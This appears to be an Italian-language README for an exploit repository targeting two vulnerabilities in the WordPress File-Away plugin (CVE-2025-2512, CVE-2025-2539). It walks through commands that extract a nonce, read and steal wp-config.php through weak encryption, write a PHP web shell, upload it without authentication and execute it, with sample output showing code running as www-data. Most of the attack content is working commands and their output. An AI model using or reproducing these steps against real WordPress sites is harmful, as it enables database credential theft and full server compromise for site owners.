
Script di exploit per l'esecuzione di codice remoto per il plugin WordPress File-Away (CVE-2025-2512 & CVE-2025-2539)
Questo repository contiene i dettagli delle vulnerabilità e gli script trovati per File-Away, un plugin WordPress utilizzato per la gestione dei file.
Questo plugin presenta due vulnerabilità che possono portare all'esecuzione remota di codice (Testato su File-Away 3.9.9.0.1):
Il plugin File-Away per WordPress è vulnerabile alla lettura arbitraria di file non autenticata in tutte le versioni fino alla 3.9.9.0.1 inclusa.
Questa vulnerabilità esiste a causa di due problemi: la mancanza di verifica dell'autenticazione nella funzione lib/cls/class.fileaway_stats.php:file_away_stats->ajax() e l'uso di un algoritmo di crittografia debole nella funzione lib/cls/class.fileaway_encrypted.php:fileaway_encrypted->encrypt().
Ciò consente a utenti non autenticati di leggere file arbitrari, incluso il file di configurazione di WordPress (wp-config.php).
Il plugin File-Away per WordPress è vulnerabile al caricamento arbitrario di file non autenticato in tutte le versioni fino alla 3.9.9.0.1 inclusa.
Questa vulnerabilità esiste a causa di due problemi: la mancanza di verifica dell'autenticazione e la scarsa verifica del tipo di file, entrambi nella funzione lib/cls/class.fileaway_management.php:fileaway_management->upload().
Ciò consente a utenti non autenticati di caricare file arbitrari che possono portare all'esecuzione di codice.
Se il plugin file-away è installato e attivo sull'istanza WordPress di destinazione, il nonce fileaway_stats dovrebbe essere presente nella pagina principale:
curl -sk http://127.0.0.1:8000/ | grep -E '^var fileaway_stats.*nonce\":\"([a-f0-9]+)\"};$'
var fileaway_stats = {"ajaxurl":"http:\/\/127.0.0.1:8000\/wp-admin\/admin-ajax.php","nonce":"ff57064c96"};
Installa i requisiti python:
python3 -m venv venv && venv/bin/pip install httpx
Utilizza la vulnerabilità di lettura arbitraria di file per ottenere il file di configurazione dell'istanza WordPress (wp-config.php):
venv/bin/python3 get_config.py -t http://127.0.0.1:8000
[+] File-Away nonce: ff57064c96
[-] Encrypted web root: LcZh3iec7c3vfHRt2C8=
[-] Decoder: .i%B7%1Dy%F8%21%8A9%25%9Az%29%AA%BB-%BA%FC1%CB%3D5%DB~9%EB%BF%3D
[-] Charset: abcdefghijklmnopqrstuvwxyz0123456789
[+] Encryption Key: f2379aghijklmnopqrstuvwxyz65bc410d8e
[+] Decrypted web root: /var/www/html
[+] Config file downloaded: 127.0.0.1:8000_wp-config.php
Crea un file PHP da caricare:
echo '<?php system("id"); ?>' > /tmp/exec.php
Utilizza la vulnerabilità di caricamento arbitrario di file per caricare il file sul server:
PHPvenv/bin/python3 file_upload.py -t http://127.0.0.1:8000 -c 127.0.0.1:8000_wp-config.php -w /var/www/html/ -f /tmp/exec.php
[-] nonce: 4810861b18
[-] upload_nonce: 0c3f44ae83
[-] loc_nonce: a17a2df989
[+] File uploaded: http://127.0.0.1:8000/wp-content/exec.php
⚠️ Il file viene caricato nella directory wp-content per impostazione predefinita ⚠️
Accedi al file PHP caricato:
curl -sk http://127.0.0.1:8000/wp-content/exec.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)